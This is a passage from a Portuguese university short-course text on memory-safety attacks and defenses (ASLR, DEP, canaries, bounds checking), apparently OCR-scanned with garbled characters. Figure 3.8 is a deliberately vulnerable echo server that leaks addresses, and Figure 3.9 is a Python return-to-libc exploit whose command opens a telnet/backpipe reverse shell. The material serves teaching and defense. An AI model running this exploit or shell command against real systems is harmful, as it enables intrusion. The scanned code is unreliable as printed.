sinal. (e) Representacao intermediaria do programa protegido.

3.4.3. Vazamento de Endereco

Um vazamento de enderecos ocorre quando um adversario descobre em que partes da me-
moria estio carregados os dados ou cédigos de um programa. Este tipo de conhecimento,
que pode parecer inofensivo, acaba por anular dois mecanismos de seguranga impostos
pelo sistema operacional: Aleatorizacdo de Espaco de Endereco— (ASLR) [Shacham et al.
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2004a], [Bhatkar et al. 2003] e a Prevencdo contra a Execucdo de Dados— (DEP).

Sistemas Operacionais modernos usam um mecanismo de prote¢ao chamado Ale-
atorizacdo de Espaco de Endereco—(ALSR) que consiste em carregar os bindrios do pro-
grama em partes diferentes da memoria a cada execugdo. Esta técnica protege o software
contra ataques bem conhecidos, tais como return-to-1ibc [Shacham et al. 2004a]
e return-oriented-programming (ROP) [Shacham 2007]. Entretanto, mesmo um sistema
protegido por Aleatorizacdo de Espaco de Endereco pode ser atacado caso o programa
possua o bug conhecido como vazamento de endereco.

Como forma de melhor visualizarmos o problema de vazamento de endereco, se-
guiremos com um exemplo deste tipo de vulnerabilidade e como um adversério poderia
prejudicar o sistema. Os trechos que seguem podem ser encontrados em sua versao origi-
nal em [Quadros and Pereira 2012b].

3.4.3.1. Exemplo de vazamento de endereco

A Figura 3.8 mostra um simples echo server que contém um vazamento de endereco e que
possibilita 2 um adversério realizar um ataque de Estouro de Arranjo. Ele basicamente
aguarda por uma conexao na porta 4000 e quando isso acontece, ele ecoa a string recebida.
A DEP evita um ataque por Estouro de Arranjo cldssico, pois impede a execugao de dados.
Porém, um Estouro de Arranjo pode ser usado para redirecionar o fluxo de controle para
uma das fungdes da 1ibc, que nos permite realizar tarefas sensiveis como gerar novos
processos, enviar e-mails e abrir conexdes via socket.

Neste exemplo, o adversdrio conseguird abrir um terminal felnet com a maquina
que estd executando o echo server. Este tipo de ataque é chamado de return-to-1ibc
e tem como precondicdo o conhecimento prévio da funcdo alvo, neste caso a fungdo
system da libc. Esta informacdo ndo € facilmente obtida pelo adversario em um sistema
protegido por ASLR, a menos que exista uma vulnerabilidade de vazamento de endereco.

O vazamento de informagdo ocorre na fun¢do process_input. Sempre que o ser-
vidor encontra a string debug ele retorna para o cliente dois enderegos internos: a base
de localbuf, que ¢ um endereco de pilha e o endereco da fungdo send de 1ibc. Para
construir o exploit, usaremos o endereco de send para encontrar o endereco de system e
exit. Em seguida, utilizaremos o enderego base de localbuf para encontrar o endereco dos
argumentos de system. A Figura 3.9 mostra um script em Python que implementa esse
exploit.

O script realiza duas conexdes ao echo server: na primeira, ele envia a string
debug para obter os dois enderecos e na segunda, ele envia os dados contaminados para
criar a conexao telnet. Os dados maliciosos sdo composto por 52 A’s que preenchem
a pilha até imediatamente antes do ponteiro de retorno; os enderecos de system e exit
sdo calculado a partir do endereco de send obtido na primeira conexdo. Finalmente, o
endereco da string com o comando para criar a conexao telnet € calculado a partir do
endereco base de localbuf.

O ataque se concretiza quando sobrescrevemos o endereco de retorno de pro-
cess_input com o endereco da fungdo system. Neste momento ganhamos o controle da
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!

Echo server with info leak
Compile with:

clang -m32 -fstack-protector -g server.c -o server -pie -f PIE
the -fstack-protector directive instructs clang toe add canaries to the
function code, so that attacks that try to change the return address of the

function will not succeed.

#ginclude =netinet/in.h=
#include <string.hs
ginclude <stdio.h=
#ginclude =stdlib.h=

#define MAXRECWVLEN 580
#define PORT 4080

vold legi{char *inbuf) {

}

printf(~Received %d byteswn", strlen{inbuf));

vold process input{char =imbuf, int len, int cliemtfd) {

int

vold (*foo)lchar *};
char localbuf[128];

if {!'stremp(inbuf, "debugin")) {
sprintf{localbuf, "localbuf %pynsend() %piwn", localbuf,
send) ;
} else {
foo = &log;
strepy(localbuf, imbuf);
fooiinbuf) ;

send{clientfd, localbuf, strlen{localbuf}, B8);
main{} {

int sockfd, clientfd, clientlen, len;

char inbuf[MAXRECVLEN + 1];

struct sockaddr in myaddr, cliemtaddr;

sockfd = socket(AF INET, SOCK STREAM, IPPROTOD TCP);
myaddr.sin_ family = AF IMET;

myaddr.sin_addr.s addr = htonl{INADDR ANY);
myaddr.sin_ port = htons{PORT);

pind{sockfd, {(struct sockaddr *}&myaddr, sizeof(myaddr}};
listen(sockfd, 5);

clientlen = sizeof{clientaddr);

while (1) {
clientfd = accepti{sockfd, {(struct sockaddr *)&cliemtaddr, &clientlen});

len = recviclientfd, inbuf, MAXRECWVLEMN, O};
inbuf[len] = '%8°;
process input{inbuf, lem + 1, clientfd);

close{clientfd};
}

close{sockfd);
returm B;

Figura 3.8. Echo Server

maquina que estd executando o echo server. Executando a funcio exit no fim do script
de ataque, nés garantimos a terminac¢ao do cliente depois de obtermos um terminal aberto
com o servidor.
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# Exploit for buggy echo server running on Ubuntu 12.094 &4 bits

# with DEP and ASLR enabled

&

# Run “nc -wv -1 -p BBEE"® in a second terminal before running this script
# to recelve the connect-back shell

import socket
import struct

¢ = socket.socket{socket.AF INET, socket.SOCK STREAM)
c.connect(('localhost', 4008}

buf = “debugin

c.send(buf)

buf = c.recw({512)

leaked stack addr = int{buf[9:buf.find{'“n")]), 16}
leaked send addr = int{buf[27:buf.rfind{'\n'}], 1&})
c.clase(]

¢ = socket.socket{socket.AF INET, socket.SOCK STREAM)
c.connect(['localhost', 4008}

command = [('rm -f backpipe &&% mknod backpipe p &&'
"telnet localhost BEEO G<backpipe | /bln/sbash l=backpipe;')

system addr = leaked send addr - 8xbl394
pad = 120 - len(command)
buf = {(command + '&' * pad +
ctruct.pack{'L', system addr)
]
c.send(buf)

c.closel)

Figura 3.9. Client

3.4.3.2. Anatomia de um vazamento de enderecos

Um programa em execug¢ado possui dois fluxos de informacao nos quais um enderegco pode
percorrer até atingir um canal publico e assim acarretar um vazamento de enderecos:

1. Fluxos explicitos estdo relacionados as dependéncias de dados. Se um programa
contém uma instru¢do que define a varidvel v, e usa a varidvel u, tal comov =u+1,
entdo existe um fluxo explicito de informacao de u para v.

2. Fluxos implicitos estdo relacionados ao fluxo de controle do programa. Se o pro-
grama contém um desvio tal como if p=0thenv=u+1else v=u—1, entdo
existe um fluxo implicito de informagao de p para u, pois o valor atribuido ao dltimo
depende do primeiro.

A fim de tornar mais claro a importancia do fluxo implicito na detec¢do do va-
zamento de enderecos, a Figura 3.10 mostra dois programas escritos em linguagem C
que contém tal vulnerabilidade. Na Figura 3.10 a) observamos um fluxo explicito entre
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a varidvel i e a varidvel k impressa por print f(). Considerando que o adversdrio tem o
acesso ao codigo fonte, € possivel conhecer o endereco de memdria retornado pela fungao
malloc().

Na Figura b) apesar de ndo existir nenhum fluxo explicito entre a varidvel i e o
valor impresso pela func¢@o print f(), podemos inferir que o endereco retornado é maior
que zero se for impresso 1 e menor ou igual a zero caso print f imprima 2, pois o valor
impresso depende do predicado (int)k > 0.

int main (int argc, char **argv) { int main (int argc, char **argv) {
int *i, *j, *k; int *i, *j, *k, cond;
i = (int *) malloc (8); i = (int *) malloc (8);
¥ j = 1]
j++; j+t;
k=1, k =1];
printf ("%p", k); if ((int)k > 0)
} printf ("1");
else
printf ("2");
}
a) b)

Figura 3.10. Exemplo de vazamento de endereco por a) fluxo explicito e b) fluxo implicito.

Uma solugdo para o vazamento de enderegos por fluxo explicito pode ser encon-
trada em [Quadros and Pereira 2011] e [Quadros and Pereira 2012a]. Além disso, uma fer-
ramenta publica capaz de detectar vazamento de enderecos em tempo de compilagdo esta
disponivel em [Quadros and Pereira 2012b]. Entretanto, as solucdes acima nao sdo capa-
zes de lidar com vazamentos por fluxos implicitos. Neste caso, recomendamos a solug¢ao
proposta em [Bruno R. Silva 2013], bem como a ferramenta disponibilizada em [Bruno
R. Silva 2013] que é capaz informar ao desenvolvedor quais os caminhos no fluxo de
controle pode estar vulnerdveis com relagdo ao problema de vazamento de enderecos.

3.5. Defesas
3.5.1. Aleatorizacao de Espaco de Endereco

Trabalhos existentes mostram que Prevencao contra a Execucdo de Dados nao € efetivo
contra ataques do tipo return—-to-1ib ou Programacao Orientada a Retorno (Return
Oriented Programming — ROP), em que o atacante utiliza c6digos existentes em bibliote-
cas de sistema como lib [Shacham et al. 2004a]. Aleatorizacdo de Espaco de Endereco
(Address Space Layout Randomization — ASLR) é uma técnica usada para neutralizar
este tipo de ataques. Em Aleatorizacao de Espaco de Endereco, posi¢des de memoria
de certos componentes (por exemplo, a pilha, o heap, e o codigo executavel) do sistema,
incluindo 1ib, sdo aleatorizadas. Isto faz com que ataques do tipo return-to-1ib
[Solar Designer 1997] e ROP sejam dificeis, ja que o atacante nido tem como saber onde
libc (ou outras funcdes desejadas) estd localizada na memoria. O atacante poderia ten-
tar adivinhar valores arbitrarios (para a posi¢do de fun¢des desejadas), mas a execucao
tipicamente falha (termina anormalmente) se um valor incorreto € usado.

Além de dificultar cada instincia de ataque, Aleatorizacdo de Espaco de Ende-
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reco também serve para prevenir atacantes de usarem o mesmo c6digo de ataque contra
multiplas instancias de um programa contendo a mesma vulnerabilidade no cédigo. Para
obter sucesso em sistemas que usam Aleatorizacdo de Espaco de Endereco, o atacante
teria que gerar codigos diferentes para cada instincia de um programa aleatorizado, ou
realizar ataques de forga-bruta para adivinhar o layout do espaco de enderecamento. A
efetividade de Aleatorizacao de Espaco de Endereco depende da probabilidade do ata-
cante conseguir adivinhar a posicdo de dreas alocadas aleatoriamente. Quanto maior o
espaco de busca, maior € o nivel de seguranca. Assim, a efetividade de Aleatorizacao de
Espaco de Endereco aumenta com o nivel de entropia dos offsets aleatorios. Aumento de
entropia pode se dar de duas formas: 1) aumento do tamanho da memdria virtual sobre a
qual a aleatorizacao € aplicada; e 2) aumento da frequéncia de realeatorizagdo.

O espaco de aleatorizacdo depende do tipo de sistema. Um dos primeiros traba-
lhos [Shacham et al. 2004a] que estuda o relacionamento entre o nivel de seguranca e o
tamanho do espacgo de aleatorizacdo mostra que, para sistemas de 32-bits e 16-bits de ale-
atorizacdo, a Aleatorizag¢do de Espaco de Endereco pode ser derrotada por forca-bruta em
questdo de minutos (naturalmente, este tempo baseia-se na velocidade de computadores
da época). Note que o tempo mencionado supde que o atacante pode executar o ataque
repetidamente, sem interrupcao. Na prdtica, tais tentativas podem ser desaceleradas. Por
exemplo, o sistema pode impedir um executdvel que tenha falhado (terminado anormal-
mente) um certo nimero de vezes em um curto intervalo de tempo de executar por um
periodo de tempo , antes de ele poder voltar a executar.

Quanto a realeatorizacgdo, ela pode ser feita em tempo de compilagdo ou tempo de
execucdo. Em realeatorizacao em tempo de compilagdo, as aleatorizagdes sdo executadas
quando o sistema € construido (“built”, compiled and linked). A desvantagem desta
solucdo é que o layout permanece 0 mesmo entre tentativas sucessivas de um ataque de
forca-bruta (exceto em casos onde o sistema € reconstruido). Em realeatorizacdo em
tempo de execucdo, um layout diferente € gerado depois de cada tentativa mal sucedida.

Aleatorizagdo de Espago de Endereco € disponivel em um grande nimero de siste-
mas operacionais atuais (incluindo Linux, Windows Vista e 7, e Mac OS X), mas funciona
um pouco diferente em cada caso [Schwartz et al. 2011]. Linux [PaX Team 2001] alea-
toriza a pilha, o heap, e as bibliotecas (compartilhadas), mas ndo a imagem do programa.
Windows Vistae 7 [Howard and Thomlinson 2007] podem aleatorizar as posi¢des da ima-
gem do programa, da pilha, do heap, e das bibliotecas, mas apenas quando o programa
e suas bibliotecas optarem por Aleatorizacdo de Espaco de Endereco. Caso contrario,
parte do cddigo ndo serd aleatorizada. Por exemplo, no caso de Windows, se alguma de
suas aplicagdes populares (e.g., Adobe Reader) nao suportar ou nao for compativel com
Aleatorizagdo de Espaco de Endereco, o sistema teria c6digos bindrios ndo-aleatorizados
[Pop and Specialist 2010].

Finalmente, enquanto que Prevencdo contra a Execu¢do de Dados e Aleatoriza-
cdo de Espaco de Endereco s@o amplamente reconhecidos teoricamente como mecanis-
mos efetivos de protecao, suas implementagdes em geral realizam tradeoffs em termos de
compatibilidade e desempenho, o que possibilita que eles sejam neutralizados na prética.
Por exemplo, em [Shacham et al. 2004a], foi mostrado um ataque de desaleatorizacao,
em que um ataque padrdo de Estouro de Arranjo é convertido em um ataque que funciona
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contra sistemas protegidos pela Aleatorizacdo de Espaco de Endereco. [Schwartz et al.
2011] apresenta um outro exemplo.

3.5.2. Prevencao contra a Execuciao de Dados

Ataques de Estouro de Arranjo continuam sendo um dos tipos mais comuns de ataques
vistos hoje. Neste tipo de ataque, ¢ comum o atacante for¢ar um programa a armazenar
codigos maliciosos em dreas de memoria destinadas a dados, e executar o cédigo dentro
desta area [Aleph One 1996]. Uma forma de impedir que este tipo de ataque seja bem
sucedido € obrigar o sistema a usar a memoria de forma disciplinada e impedir execucao
de codigo nas areas de armazenamento de dados do sistema. A Prevengdo contra a Exe-
cucdo de Dados (Data Execution Prevention — DEP) é uma funcionalidade incluida em
sistemas operacionais atuais [PaX Team 2000, Microsoft Support a] que implementa tal
protecdo. Num sistema com Prevencao contra a Execu¢@o de Dados habilitada, regides
de memoria ndo destinadas a codigos executdveis sdo marcadas como ‘“ndo-executiveis’.
Durante o tempo de execugdo, se um programa tenta executar cddigo nessas regides, uma
exce¢do € lancada e o programa € abortado. Isto acontece independentemente de o cédigo
ser malicioso ou ndo. Note que a Prevenc¢ao contra a Execucdo de Dados néo foi proposta
para impedir que programas maliciosos sejam instalados em sistemas. Ele foi proposto
para monitorar execucdes de programas ja instalados e ajudar a assegurar que estes usem
a memoria do sistema de forma segura. Prevencdo contra a Execu¢do de Dados também
€ conhecido como W xor X (Write or Execute) [Schwartz et al. 2011]. De acordo com W
xor X, paginas no heap, na pilha, e em outros segmentos de memdria sao marcadas como
writable (W) ou executable (X), mas ndo ambos.

3.5.2.1. Implementacio em Hardware

Prevencao contra a Execucdo de Dados pode se fazer cumprir em hardware em sistemas
onde o processador implementa a fun¢do. A arquitetura do processador determina como
a fun¢do é implementada em hardware. Entretanto, como a Prevencio contra a Execugdo
de Dados funciona no nivel de paginas de memoria virtual, tipicamente um bit € reser-
vado nas entradas de tabela de paginas para indicar se execugao de c6digo € permitida nas
paginas correspondentes. Dependendo do conteudo previsto para a pigina (codigo exe-
cutdvel ou dado), o processador pode ou ndo setar o bit. Se houver tentativa de execugado
de cbdigo a partir de uma pédgina cujo bit € setado (a pagina contendo dados, suposta-
mente), o processador lancard uma excecao e a execugdo do programa serd abortada. Esta
func¢ao € disponivel em vdrias arquiteturas de processadores e recebe nomes diferentes de
marketing, como bit XD (eXecute Disable) [Intel Corporation ] e bit XN (eXecute Never)
[ARM Holdings 2008]. Note que implementagdo de hardware, por si s6, ndo traria pro-
tecdo. Tanto o BIOS de sistema quanto o sistema operacional precisam oferecer suporte
a funcdo, a qual necessita estar habilitada. A Prevencdo contra a Execucdo de Dados é
disponivel nos principais sistemas operacionais, incluindo Linux [PaX Team 2000], Mac
OS X, 108, Microsoft Windows [Microsoft Support a] € Android.
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3.5.2.2. Efetividade

E importante mencionar que a Prevencio contra a Execucio de Dados é efetiva apenas
contra uma subclasse de ataques de estouro de arranjos, nas quais o atacante tenta colocar
o codigo malicioso na pilha, no heap, ou em outras dreas destinadas a dados. Ela ndo é
efetiva contra ataques do tipo return—-to—-1ibc [Solar Designer 1997, Schwartz et al.
2011, Shacham et al. 2004b] (veja discussdo abaixo), nos quais o atacante tenta utilizar
fungdes de bibliotecas existentes.

Em sistemas protegidos por Prevengdo contra a Execu¢do de Dados, atacantes nao
podem injetar e executar seus proprios cédigos. Entretanto, eles podem usar c6digos.
executdveis existentes — seja o cédigo do préprio programa, ou o cddigo das bibliotecas
carregadas pelo programa. Por exemplo, atacantes podem escrever nas posi¢des da pilha
acima do enderego de retorno do quadro de execugdo corrente e alterar o endereco de
retorno para apontar para a funcio que eles gostariam de chamar. Quando a funcdo no
quadro de execugdo corrente retornar, o fluxo de controle do programa sera dirigido para
a funcao escolhida, e os dados fornecidos nas posi¢des acima do endereco de retorno na
pilha serdo usados como argumentos da fungao.

Tradicionalmente, as funcdes da biblioteca padrdao da linguagem C sdo as mais
populares para este propdsito. Isto porque ela é carregada junto a qualquer programa
em Unix e estd por trds das APIs das chamadas de sistema usadas pelos programas para
acessarem servicos de kernel como process fork e network sockets. Por esta razdo, esta
classe de ataques passou a ser chamada de return-to-1ibc. Note que em ataques
do tipo return-to-1libc o atacante precisa conhecer os enderecos das funcdes libc.
Introduzindo-se aleatoriedade ao endereco base da libc, pode-se aumentar a dificuldade
de os atacantes se aproveitarem dessas fungdes Aleatorizacdo de Espaco de Endereco
(Address Space Layout Randomization — ASLR) é uma técnica de aleatoriza¢do proposta
para criar este tipo de barreira, e serd vista na préxima secao.

3.5.2.3. Prevencao contra a Execucio de Dados Baseada em Software

Além do mecanismo de hardware descrito acima, existe um mecanismo implementado
em software, comumente conhecido como Prevencao contra a Execugdo de Dados Base-
ada em software. Em vez de oferecer protecdo contra execugdo de c6digo em paginas de
dados, o software Prevencao contra a Execucdo de Dados ajuda a impedir cédigos ma-
liciosos de explorarem os mecanismos de tratamento de exce¢do em Windows. Com o
software Prevencdo contra a Execu¢do de Dados, quando uma excec¢do € langada, o sis-
tema simplesmente checa se a rotina de tratamento da excec¢do € registrada na tabela de
funcdes para a aplicacdo e incluida no cddigo executdvel. Note que, embora software
DEP aparentemente impega execucio de cddigo a partir de paginas de dados, ela é uma
forma diferente de protecao.

O Software Prevengdo contra a Execu¢do de Dados também € conhecido como
Safe Structured Exception Handling — SafeSEH). [Microsoft Support b].
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3.5.3. Canarios
3.5.3.1. Visao geral

Candrios sdo valores de guarda constantes que sdo inseridos na pilha, entre um buffer
e dados sensiveis da pilha, de maneira a monitorar estouros de arranjos em tempo de
execucdo, conforme pode-se visualizar na figura3.11. A ideia bésica é que o Candrio
atue como um indicador de que houve corrupcdo de dados da pilha e que, portanto, a
seguranca estd comprometida. Dessa forma, antes do retorno de uma fungdo, checa-se
a integridade do Candrio; caso ela ndo tenha se mantido, assume-se que outros dados da
pilha tenham sido corrompidos e um c6digo de tratamento de erros € disparado, o que, em
geral, implica no encerramento do programa. Os Candrios sdo inseridos pelo compilador
e ndo exigem qualquer tipo de intervencao do usudrio.

Conforme sera discutido adiante, apesar de algumas limitagdes de que sofrem os
Candérios, essa medida de prote¢do conta com a grande vantagem de simplicidade e baixo
custo computacional. Logo, demonstram-se uma boa op¢ao para os sistemas embarcados,
que contam com recursos limitados.

Diferentemente de recursos sofisticados que imbuem num grande custo temporal
e espacial, os Canarios resumem-se a algumas instru¢des de maquina adicionais € uma
constante por funcdo protegida. Na linguagem intermedidria do LLVM, por exemplo, o
preambulo e o epilogo da fungdo ficam como se segue:

entry:
StackGuardSlot = alloca 18+«
StackGuard = load __stack_chk_guard
call void @llvm.stackprotect.create (StackGuard, StackGuardSlot)

return:

%1 = load __stack_chk_guard
%2 = load StackGuardSlot
$3 = cmp 11 %1, %2

r i1 %3, label %SP_return, label %CallStackCheckFailBlk

SP_return:

ret

CallStackCheckFailBlk:
call void @__ _stack_chk_fail()
unreachable

3.5.3.2. Evolucao

Os Candrios foram inicialmente propostos no projeto StackGuard. Desde entdo ja sofre-
ram diversas adaptagcdes. Além de variagcdes no tipo de Candrio, ao longo de sua histodria,
os Candrios evoluiram principalmente com relagdo a trés aspectos: o tipo de constante a
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cédigo de ataque cédigo de ataque
endereco
crescimento enderego de crescimento crescimento de retorno ) .
crescimento
do arranjo retorno da pilha do arranjo canério da pilha

variaveis locais
variaveis locais

arranjo arranjo

Figura 3.11. A esquerda, a disposicao tradicional dos dados na pilha, que permite
a sobrescrita do endereco de retorno para que ele aponte para codigo malicioso;
a direita, a pilha apos a insercao do Canario: uma sobrescrita além dos limites do
arranjo sobrescrevera o Canario antes de sobrescrever o endereco de retorno.

ser armazenada, quando empregar um Candrio e onde disp0-lo na pilha. Esses aspectos
sdo discutidos a seguir.

Tipos de constantes. A primeira solucdo proposta previa o uso de uma constante ter-
minadora, baseando-se no fato de quer os ataques geralmente ocorrem através de ope-
ragdes sobre strings. Dessa forma, caso um atacante tente sobrescrever o Candrio
sem corrompé-lo, o comportamento esperado é que a constante terminadora seja o ultimo
dado a ser escrito e, assim, os dados sensiveis, como o endere¢o de retorno, permanegam
1ntactos.

Uma outra proposta € o uso de uma constante aleatéria que € calculada no mo-
mento de inicializa¢do do programa e armazenada numa varidavel global, armazenada de
tal forma que seja impossivel para um atacante 1é-la. Tal mecanismo dificultaria que uma
corrupcao de dados passasse ilesa num teste de verificacio de integridade do Canaério.

Finalmente, uma terceira proposta sugere a utilizacdo Candrios Aleatérios XOR.
Nesse tipo de constante, € verificado se o resultado da operagdo XOR entre o Candrio
e o dado sensivel, como o endereco de retorno, permanece inalterado. Dessa forma, a
leitura apenas do valor do Canério ndo seria suficiente para que um atacante contornasse
a defesa.

Heuristicas para emprego de Canarios. A solug¢do mais trivial para decidir-se quando
empregar o Candrio é emprega-lo em toda e qualquer funcdo. Essa solucdo, entretanto,
implica em um overhead que, embora pequeno, poderia ser menor, pois funcdes que
nunca estardo sujeitas a um Estouro de Arranjotambém passam pela verificacdo do Ca-
ndrio. Dessa forma, a comunidade de compiladores emprega algumas heuristicas para
solucionar o problema.

A heuristica mais simples para emprego de Candrios consiste em incluir um Cana-
rio em toda fun¢@o que possui um arranjo declarado localmente, ou um registro contendo
um arranjo. Na prética, muitas implementagdes reais adicionam a restricdo adicional de
o arranjo local ter um tamanho maior do que uma constante pré-definida. As razdes para
tal decisdo ndo sdo claras.

Mais recentemente, novas heuristicas foram propostas para compiladores como

126 ©2013 SBC — Soc. Bras. de Computa¢do



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

gcc? e LLVM 4. As condicdes para emprego dos Candrios passam entio a ser mais abran-
gentes e representam um compromisso entre desempenho e seguranca. Uma fung@o passa
a ser protegida com o Candrio caso:

* Ela possua um arranjo, independentemente de seu tipo e tamanho;

* Ela possua um registro que contém um arranjo, igualmente de maneira indepen-
dente de tipo e tamanho;

* Alguma de suas varidveis locais tem seu endereco tomado como parte do RHS (lado
direito) de uma atribuicao;

* Alguma de suas varidveis locais tem seu endereco tomado para ser passado como
argumento para uma funcao.

A ideia bdsica por tras dessa nova heuristica é que qualquer ataque de Estouro de
Arranjo na pilha necessita de um endereco de quadro”.

Disposicao dos dados na pilha. As primeiras implementacdes de Candrios focaram-se
em resolver um problema mais cldssico: a sobrescrita do endereco de retorno. Dessa
forma, o Candrio era posicionado entre um arranjo e o endereco de retorno. Esse tipo de
disposicdo apresentava muitas falhas, pois varidveis locais, como por exemplo o ponteiro
de quadro de pilha, permaneciam vulnerédveis a sobrescrita. Essa vulnerabilidade especi-
fica foi explorada em [Richarte et al. 2002], de forma a desviar o fluxo de execucdo de um
programa. Em compiladores mais recentes, esse problema é contornado através de uma
disposi¢do diferente dos dados, de forma que o Candrio se localize entre os arranjos € as
demais varidveis locais.

3.5.3.3. Limitacoes

Canérios ndo sdo a solugdo derradeira para os ataques de Estouro de Arranjo. Dentre suas
limitagdes, podem-se destacar:

* Limitacdo de escopo: Candrios protegem apenas contra ataques de Estouro de Ar-
ranjo que ocorram na pilha. Dessa forma, faz-se necessdria a utilizacdo de algum
mecanismo adicional de protecdo contra ataques de Estouro de Arranjo baseados
em heap.

* Momento da verificacdo: A verificacdo de integridade do Canario s6 ocorre logo
antes de a funcdo retornar. Isso significa que um atacante possui uma janela de
tempo considerdvel para agir antes de ser detectado. Além disso, caso haja um
desvio ou o disparo de uma excecdo, a verificacdo pode até mesmo nunca ocorrer.

3http://gcc.gnu.org/ml/gec-patches/2012-06/msg00974. html.
“http://lists.cs.uiuc.edu/pipermail/llvmdev/2012-October/05393 1.html.
>https://docs.google.com/document/d/1 xXBH6rRZue4f296vGt9Y QcuLVQHeES 1 6stHwt8M9xyU/.
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* Algumas varidveis locais permanecem vulneraveis a sobrescrita. Isso pode ocorrer,
por exemplo, se existem mais de um buffer declarados localmente em uma fungao;
nesse caso, um pode sobrescrever o outro. Além disso, dados dispostos em regis-
tros (structs, no caso da linguagem C), ndo podem ser rearranjados, de forma
que se um registro contém um ou mais buffers, é possivel a existéncia de uma vul-
nerabilidade sobre a qual o compilador ndo pode agir. Técnicas de compiladores
podem, todavia, ser aplicadas com o objetivo de apontar quais os trechos de codigo
sdo vulnerdveis. Uma andlise de fluxo contaminado pode determinar quais arran-
jos do programa sdo alcangdveis a partir de mecanismos de entrada, representando,
portanto, uma porta de entrada para usudrios maliciosos.

3.5.4. Verificacao de Limites de Arranjo

O padrao ISO/IEC 9899:2011 define uma escrita fora dos limites de um arranjo ou acesso
out-of-bounds como °:

uma tentativa de acesso que, em tempo de execucdo, para um dado estado
computacional, iria modificar [...] um ou mais bytes que se encontram fora
dos limites permitidos por este padrdo.

Um acesso as posi¢des antes do inicio do arranjo ou depois do seu término caracterizam,
portanto, um acesso fora de seus limites —um buffer overflow ou buffer overrun. Tais aces-
sos, possuem, como indica o mesmo padrdo, semantica indefinida. Com isso, podem, por
exemplo, abortar o programa ou continuar a execu¢ao em um estado desconhecido. Essa
ultima opg¢do € passivel de causar falhas de seguranca em software, como aconteceu com
com o Morris worm em 1988, descrito na se¢do 3.4.1. A primeira opcao, porém, garante
que um estado invdlido ou desconhecido ndo seja atingivel por meio de acessos invali-
dos a memoria. Essa € a abordagem necessdria para linguagens fortemente tipadas como
Java e C#, uma vez que o sistema de tipos poderia ser contornado caso tipos invédlidos
pudessem se referenciar. Existem ferramentas que proveem tais garantias para programas
desenvolvidos em C e C++; como estado da arte podem ser citadas SAFECode [Dhurjati
et al. 2006], AddressSanitizer [Serebryany et al. 2012] e SoftBound+CETS [Nagarakatte
et al. 2009] [Nagarakatte et al. 2010]. Essas ferramentas combinam técnicas de ané-
lise estdtica e de instrumentacdo para detectar acessos invalidos em tempo de execugao.
Cada uma usa uma metodologia diferente; elas serdo explicadas a seguir, além disso serdao
apresentadas outras abordagens para o problema dos acessos out-of-bounds.

Memoéria espelho. O AddressSanitizer usa uma memoria espelho ou shadow-memory.
Essa memoria espelha alocacdes na pilha e no heap. Quando uma posicao de memoria é
alocada nas duas ultimas, uma posicao correspondente na memdria espelho € modificada
para indicar esta alocacdo. De forma similar, quando uma posi¢do é desalocada, a me-
moria correspondente € modificada para refletir a desalocacdo. Com isso, para verificar
se uma posi¢do de memoria acessada estd alocada, basta verificar a memoria espelho. O
acesso a memoria espelho € feito em tempo constante. No AddressSanitizer, para um
posi¢do p da memoria, a posi¢ao correspondente é dada por (p << 3) + ¢, onde ¢ € um
offset constante.

btraduzido da se¢do L.2.1.
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Essa abordagem porém, ainda permite que uma indexacao invélida a uma arranjo
acesse uma posicdo de memoria alocada. No caso de dois arranjos contiguamente aloca-
dos, o acesso a uma posi¢ao além do término do primeiro acessaria o primeiro elemento
do segundo e seria erroneamente considerado vélido. Para amenizar esse problema, mas
nao corrigi-lo completamente, cada alocacio € acompanhada de zonas vermelhas (red zo-
nes), que sao posi¢des de memoria envenenadas (poisoned). Essas sdo posicoes as quais
todo acesso € considerado invdlido e sdo posicionadas em volta das zonas de alocago.
Esta solugdo, ainda assim, ndo € completa, uma vez que acessos poderiam ultrapassar
uma zona vermelha e acessar uma posi¢ao alocada de memdria.

O plugin Memcheck do Valgrind também utiliza memoria espelho. Nesse caso,
todas as escritas e leituras da memoria s@o checadas por sua validade. Chamadas para as
funcgdes de alocagdo e desalocagdo de C e C++ sdo interceptadas e a memoria espelho é
atualizada de acordo com a chamada. O Valgrind serd discutido mais adiante.

Andlise de regides . A solucio do SAFECode para o problema dos acessos out-of-

bounds € a de particionar o heap em regides (pools), utilizando um algoritmo chamado
Automatic Pool Allocation [Lattner and Adve 2005]. Cada regido contém objetos de um
tipo homogéneo e conhecido. Uma combinacdo de andlises estdticas e dinamicas sdao
utilizadas para garantir o isolamento entre as regidoes. Essa abordagem ¢é incompleta, uma
vez que quaisquer acessos a posicdes dentro da mesma regido sio validos, ainda que essa
posi¢cdo ndo seja parte do arranjo sendo indexado. De fato, a garantia que o SAFECode
d4 é que objetos correspondentes em uma points-to-graph estdo em uma mesma regiao
do heap e que o aliasing de ponteiros nao € invalidado.

Essa técnica € utilizada em algumas linguagens de programacdo. Cyclone [Jim
et al. 2002] é uma linguagem que foi inicialmente construida para evitar problemas co-
muns em programas C, mantendo, porém, sua semantica e sintaxe. Para isso, a linguagem
impde vérias restricdes quanto a aritmética de ponteiros, coer¢des € inicializacdo de va-
ridveis. Para evitar, especificamente, problemas de dangling pointers, sdo usadas técnicas
de andlise de regides e imposi¢do de restricdes no uso da funcdo free. A linguagem
também usa fat pointers para fazer a verificacdo de limites de arranjo, como descrito na
secao que segue.

Similarmente, a linguagem Control-C [Sumant Kowshik and Adve 2002], um sub-
conjunto de C, impde vdrias restricdes a esse subconjunto para que seja possivel verificar
a seguranca do codigo em tempo de compilacdo. Uma das restri¢cdes notaveis € no que
tange as alocagdes - regides sdo explicitamente alocadas ao invés de objetos.

Fat pointers. Uma outra forma de deteccao de acessos out-of-bounds € através de uma
representacdo expandida de ponteiros chamada fat pointers. Nessa representacao os meta-
dados sdo atrelados aos ponteiros associados, recordando informacgdo de alocacdo e de
tamanho dos mesmos. Tal abordagem, porém, modifica o layout de memoéria do programa
de forma a dificultar chamadas a func¢des externas, as quais poderiam levar a problemas
de corrup¢do dos metadados. A ferramenta SoftBound+CETS utiliza uma representagao
baseada em fat pointers, mas mantém os metadados disjuntos, através de mecanismos de
memoria espelho descritos acima. Com isso, o layout de memoria permanece 0 mesmo e

"Tradugio livre to termo region analysis.
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os problemas com chamadas a func¢des externas sdo reduzidos.

Abordagens puramente estaticas. Frama-C [Cuoq et al. 2012] e Astreé [Cousot et al.
2005] sao ferramentas de andlise estdtica e verificagdo formal de programas. Astreé uti-
liza técnicas de interpretacdo abstrata para verificar formalmente programas para sistemas
embarcados. Interpretacdo abstrata € uma forma de aproximar a semantica de programas
